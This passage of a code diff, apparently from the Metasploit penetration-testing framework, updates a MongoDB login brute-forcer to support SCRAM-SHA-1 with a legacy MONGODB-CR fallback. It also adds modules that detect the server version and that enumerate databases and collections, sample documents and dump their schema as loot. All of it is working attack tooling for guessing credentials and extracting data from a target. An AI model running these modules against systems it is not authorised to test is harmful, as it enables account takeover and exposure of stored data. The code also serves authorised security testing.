LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("SCRAM-SHA-1 exception: #{e.message}") + nil + end + + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) + sock.put(packet) + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("MONGODB-CR exception: #{e.message}") + nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def get_nonce + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) + + sock.put(pkt) + response = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' + end + + def require_auth? + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) + + mongodb_have_auth_error?(auth_resp) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 41d5f091eb882..773ac4bb2c0bf 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -3,11 +3,15 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'bson' +require 'openssl' +require 'digest' + class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( @@ -16,18 +20,22 @@ def initialize(info = {}) 'Name' => 'MongoDB Login Utility', 'Description' => %q{ This module attempts to brute force authentication credentials for MongoDB. - Note that, by default, MongoDB does not require authentication. + It supports both SCRAM-SHA-1 (MongoDB 3.0+) and falls back to legacy + MONGODB-CR authentication if SCRAM is unsupported by the target server. }, 'References' => [ [ 'URL', 'https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/' ], [ 'URL', 'https://github.com/mongodb/specifications/blob/master/source/auth/auth.rst/' ] ], - 'Author' => [ 'Gregory Man ' ], + 'Author' => [ + 'Gregory Man ', + 'h00die' # SCRAM and updating compatibility for MongoDB 3.0+ and later + ], 'License' => MSF_LICENSE, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] } ) ) @@ -35,106 +43,208 @@ def initialize(info = {}) register_options( [ Opt::RPORT(27017), - OptString.new('DB', [ true, "Database to use", "admin"]) + OptString.new('DB', [ true, 'Database to use', 'admin']) ] ) end def run_host(ip) - print_status("Scanning IP: #{ip.to_s}") + print_status("Scanning IP: #{ip}") begin connect + + version = get_version + ver_info = version ? " (version #{version})" : '' + if require_auth? - each_user_pass { |user, pass| + print_status("#{peer} - Mongo server#{ver_info} requires authentication") + each_user_pass do |user, pass| do_login(user, pass) - } + end else report_vuln( - :host => rhost, - :port => rport, - :name => "MongoDB No Authentication", - :refs => self.references, - :exploited_at => Time.now.utc, - :info => "Mongo server has no authentication." + host: rhost, + port: rport, + name: 'MongoDB No Authentication', + refs: references, + exploited_at: Time.now.utc, + info: "Mongo server has no authentication.#{ver_info}" ) - print_good("Mongo server #{ip.to_s} doesn't use authentication") + print_good("Mongo server #{ip}#{ver_info} doesn't use authentication") end disconnect - rescue ::Exception => e - print_error "Unable to connect: #{e.to_s}" + rescue StandardError => e + print_error "Unable to connect: #{e}" return end end + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version from buildInfo: #{e.message}") + nil + end + def require_auth? - request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" # messageLength (63) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query ({"listDatabases"=>1}) - packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" + cmd = BSON::Document.new({ 'listDatabases' => BSON::Int32.new(1) }) + list_db_pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) + sock.put(list_db_pkt) + auth_resp = sock.get_once(-1, 5) - have_auth_error?(response) + mongodb_have_auth_error?(auth_resp) end def do_login(user, password) vprint_status("Trying user: #{user}, password: #{password}") + + # 1. Try SCRAM-SHA-1 first (MongoDB 3.0+) + scram_status = auth_scram_sha1(user, password) + return scram_status if scram_status == :next_user + + # 2. Fallback to MONGODB-CR if SCRAM failed or is unsupported + vprint_status("#{peer} - SCRAM-SHA-1 not accepted or failed; trying MONGODB-CR fallback...") nonce = get_nonce - status = auth(user, password, nonce) - return status + if nonce.present? + cr_status = auth_cr(user, password, nonce) + return cr_status if cr_status == :next_user + end + + nil + end + + # SCRAM-SHA-1 Handshake (MongoDB 3.0+) + def auth_scram_sha1(user, password) + db = datastore['DB'] + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{password}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + return nil unless reply && reply['ok'].to_i == 1 + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_signature = OpenSSL::HMAC.digest('sha1', stored_key, auth_message) + client_proof = Rex::Text.xor(client_key, client_signature) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + pkt = mongodb_build_packet("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + sock.put(pkt) + resp = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(resp) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (SCRAM-SHA-1)") + report_cred( + ip: rhost, + port: rport, + service_name: 'mongodb', + user: user, + password: password, + proof: reply.inspect + ) + return :next_user + end + + nil + rescue StandardError => e + vprint_error("#{peer} - SCRAM-SHA-1 exception: #{e.message}") + nil end - def auth(user, password, nonce) - request_id = Rex::Text.rand_text(4) - packet = request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\xff\xff\xff\xff" # numberToReturn (1) - - # {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} - document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" - document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00" - document << [user.length + 1].pack("L") # +1 due null byte termination - document << user + "\x00" - document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00" - document << nonce + "\x00" - document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" - document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00" - document << "\x00" - # Calculate document length - document.insert(0, [document.length + 4].pack("L")) - - packet += document - - # Calculate messageLength - packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength + # Legacy MONGODB-CR Handshake (MongoDB < 3.0) + def auth_cr(user, password, nonce) + db = datastore['DB'] + key = Rex::Text.md5(nonce + user + Rex::Text.md5("#{user}:mongo:#{password}")) + + cmd = BSON::Document.new({ + 'authenticate' => BSON::Int32.new(1), + 'user' => user, + 'nonce' => nonce, + 'key' => key + }) + + packet = mongodb_build_packet("#{db}.$cmd", cmd.to_bson.to_s) sock.put(packet) - response = sock.recv(1024) - unless have_auth_error?(response) - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'") + response = sock.get_once(-1, 5) + + reply = mongodb_parse_doc(response) + if reply && reply['ok'].to_i == 1 + print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}' (MONGODB-CR)") report_cred( ip: rhost, port: rport, service_name: 'mongodb', user: user, password: password, - proof: response.inspect + proof: reply.inspect ) return :next_user end - return + nil + rescue StandardError => e + vprint_error("#{peer} - MONGODB-CR exception: #{e.message}") + nil end def report_cred(opts) @@ -165,34 +275,13 @@ def report_cred(opts) end def get_nonce - request_id = Rex::Text.rand_text(4) - packet = "\x3d\x00\x00\x00" # messageLength (61) - packet << request_id # requestID - packet << "\xff\xff\xff\xff" # responseTo - packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" # flags - packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd) - packet << "\x00\x00\x00\x00" # numberToSkip (0) - packet << "\x01\x00\x00\x00" # numberToReturn (1) - # query {"getnonce"=>1.0} - packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" + cmd = BSON::Document.new({ 'getnonce' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet("#{datastore['DB']}.$cmd", cmd.to_bson.to_s) - sock.put(packet) - response = sock.recv(1024) - documents = response[36..1024] - # {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0} - nonce = documents[15..30] - end + sock.put(pkt) + response = sock.get_once(-1, 5) - def have_auth_error?(response) - # Response header 36 bytes long - documents = response[36..1024] - # {"errmsg"=>"auth fails", "ok"=>0.0} - # {"errmsg"=>"need to login", "ok"=>0.0} - if documents.include?('errmsg') - return true - else - return false - end + doc = mongodb_parse_doc(response) + doc && doc['ok'].to_i == 1 ? doc['nonce'].to_s : '' end end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb new file mode 100644 index 0000000000000..d619a8c9b25e2 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_schemadump.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' +require 'openssl' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Schema Enumerator', + 'Description' => %q{ + This module connects to an unauthenticated or authenticated MongoDB instance, + authenticates using SCRAM-SHA-1 if credentials are provided, enumerates + databases and collections via wire protocol, samples documents, and dumps + the inferred schema structure. + + Successfully tested against MongoDB 3.6 with and without authentication + }, + 'Author' => [ 'h00die' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/' ] + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptString.new('DB_NAME', [ false, 'Specific database to enumerate (leave blank for all)', '' ]), + OptString.new('AUTH_DB', [ false, 'Database to authenticate against', 'admin' ]), + OptString.new('USERNAME', [ false, 'Username for authentication', '' ]), + OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]), + OptInt.new('SAMPLE_SIZE', [ true, 'Number of sample documents to inspect per collection for schema mapping', 5 ]) + ] + ) + end + + def run_host(_ip) + connect + + print_status('Connected to MongoDB wire protocol') + + if datastore['USERNAME'].present? + auth_db = datastore['AUTH_DB'].presence || 'admin' + unless authenticate(auth_db) + print_error('Stopping scan due to authentication failure.') + return + end + end + + dbs = fetch_databases + if dbs.empty? + print_error('Could not retrieve databases.') + return + end + + print_good("Found Databases: #{dbs.join(', ')}") + + schema_report = {} + + dbs.each do |db| + next if datastore['DB_NAME'].present? && datastore['DB_NAME'] != db + + collections = fetch_collections(db) + print_status(" DB '#{db}' Collections: #{collections.join(', ')}") + + schema_report[db] = {} + + collections.each do |coll| + fields = sample_collection_schema(db, coll) + schema_report[db][coll] = fields + + if fields.any? + vprint_good(" Schema for #{db}.#{coll}:") + fields.each { |field, type| vprint_line(" - #{field} (#{type})") } + else + vprint_status(" Collection #{db}.#{coll} is empty or returned no fields.") + end + end + end + + report_json = JSON.pretty_generate(schema_report) + loot_path = store_loot( + 'mongodb.schema', + 'application/json', + rhost, + report_json, + 'mongodb_schema.json', + 'MongoDB Schema Structure' + ) + print_good("Schema dumped to loot: #{loot_path}") + rescue ::Rex::ConnectionError => e + print_error("Connection failed: #{e.message}") + ensure + disconnect + end + + private + + def authenticate(db = 'admin') + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + digest_pass = Digest::MD5.hexdigest("#{user}:mongo:#{pass}") + + client_nonce = Rex::Text.rand_text_alphanumeric(24) + auth_payload = "n=#{user},r=#{client_nonce}" + client_first_bare = auth_payload + client_first_message = "n,,#{auth_payload}" + + sasl_start_cmd = BSON::Document.new({ + 'saslStart' => BSON::Int32.new(1), + 'mechanism' => 'SCRAM-SHA-1', + 'payload' => BSON::Binary.new(client_first_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_start_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + print_error('SCRAM-SHA-1 auth initial request rejected.') + return false + end + + conversation_id = reply['conversationId'] + server_payload = reply['payload'].data + server_vars = mongodb_parse_scram_payload(server_payload) + + server_nonce = server_vars['r'] + salt = Rex::Text.decode_base64(server_vars['s']) + iterations = server_vars['i'].to_i + + salted_password = OpenSSL::PKCS5.pbkdf2_hmac( + digest_pass, + salt, + iterations, + 20, + OpenSSL::Digest.new('SHA1') + ) + + client_key = OpenSSL::HMAC.digest('sha1', salted_password, 'Client Key') + stored_key = OpenSSL::Digest::SHA1.digest(client_key) + client_final_without_proof = "c=biws,r=#{server_nonce}" + auth_message = "#{client_first_bare},#{server_payload},#{client_final_without_proof}" + + client_proof = Rex::Text.xor(client_key, OpenSSL::HMAC.digest('sha1', stored_key, auth_message)) + client_final_message = "#{client_final_without_proof},p=#{Rex::Text.encode_base64(client_proof)}" + + conv_id_bson = conversation_id.is_a?(Integer) ? BSON::Int32.new(conversation_id) : conversation_id + + sasl_continue_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new(client_final_message) + }) + + reply = send_query_single("#{db}.$cmd", sasl_continue_cmd.to_bson.to_s) + unless reply && reply['ok'].to_i == 1 + vprint_error("saslContinue failure: #{reply.inspect}") + print_error("Authentication failed for '#{user}' on '#{db}'") + return false + end + + # Handle final SASL step if done is false or server signature validation is pending + if reply['done'] == false + final_cmd = BSON::Document.new({ + 'saslContinue' => BSON::Int32.new(1), + 'conversationId' => conv_id_bson, + 'payload' => BSON::Binary.new('') + }) + reply = send_query_single("#{db}.$cmd", final_cmd.to_bson.to_s) + end + + if reply && reply['ok'].to_i == 1 + print_good("Authenticated successfully as '#{user}' on '#{db}'") + true + else + print_error('Final SASL confirmation failed.') + false + end + end + + def fetch_databases + cmd = BSON::Document.new({ + 'listDatabases' => BSON::Int32.new(1) + }) + + reply = send_query_single('admin.$cmd', cmd.to_bson.to_s) + vprint_status("Post-auth listDatabases reply: #{reply.inspect}") + + return [] unless reply && reply['ok'].to_i == 1 && reply['databases'] + + reply['databases'].map { |d| d['name'] } + end + + def fetch_collections(db) + # Construct listCollections as a dynamic BSON Document + cmd = BSON::Document.new({ + 'listCollections' => BSON::Int32.new(1) + }) + + reply = send_query_single("#{db}.$cmd", cmd.to_bson.to_s) + return [] unless reply + + cursor = reply['cursor'] + return [] unless cursor && cursor['firstBatch'] + + cursor['firstBatch'].map { |c| c['name'] } + end + + def sample_collection_schema(db, collection) + empty_query = "\x05\x00\x00\x00\x00" + sample_limit = datastore['SAMPLE_SIZE'] + + docs = send_query_multi("#{db}.#{collection}", empty_query, sample_limit) + return {} if docs.empty? + + field_map = {} + docs.each do |doc| + extract_fields(doc, '', field_map) + end + + field_map + end + + def extract_fields(hash_or_doc, prefix, map) + hash_or_doc.each do |key, val| + full_key = prefix.empty? ? key.to_s : "#{prefix}.#{key}" + map[full_key] ||= val.class.to_s.demodulize + + if val.is_a?(Hash) || val.is_a?(BSON::Document) + extract_fields(val, full_key, map) + end + end + end + + def send_query_single(full_coll_name, bson_payload) + send_query_multi(full_coll_name, bson_payload, 1).first + end + + def send_query_multi(full_coll_name, bson_payload, number_to_return = 5) + pkt = mongodb_build_packet(full_coll_name, bson_payload, number_to_return: number_to_return) + + sock.put(pkt) + response_raw = sock.get_once(-1, 5) + + mongodb_parse_docs(response_raw) + end +end diff --git a/modules/auxiliary/scanner/mongodb/mongodb_version.rb b/modules/auxiliary/scanner/mongodb/mongodb_version.rb new file mode 100644 index 0000000000000..190a108823864 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/mongodb_version.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bson' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Mongodb + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Version Detector', + 'Description' => %q{ + This module connects to a MongoDB instance and retrieves the server version + using the buildInfo command. No authentication is required for this command. + + Tested against MongoDB 3.6.23 + }, + 'References' => [ + [ 'URL', 'https://docs.mongodb.com/manual/reference/command/buildInfo/' ] + ], + 'Author' => [ + 'h00die' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017) + ] + ) + end + + def run_host(_ip) + print_status("Connecting to #{peer}...") + begin + connect + + version = get_version + if version + print_good("#{peer} - MongoDB version: #{version}") + else + print_warning("#{peer} - Unable to retrieve MongoDB version") + end + rescue StandardError => e + print_error("#{peer} - Connection failed: #{e}") + ensure + disconnect + end + end + + def get_version + cmd = BSON::Document.new({ 'buildInfo' => BSON::Int32.new(1) }) + pkt = mongodb_build_packet('admin.$cmd', cmd.to_bson.to_s) + + sock.put(pkt) + resp = sock.get_once(-1, 5) + + doc = mongodb_parse_doc(resp) + return nil unless doc && doc['version'] + + version_str = doc['version'] + report_service( + host: rhost, + port: rport, + name: 'mongodb', + proto: 'tcp', + info: "MongoDB #{version_str}" + ) + version_str + rescue StandardError => e + vprint_error("#{peer} - Failed to parse version: #{e.message}") + nil + end +end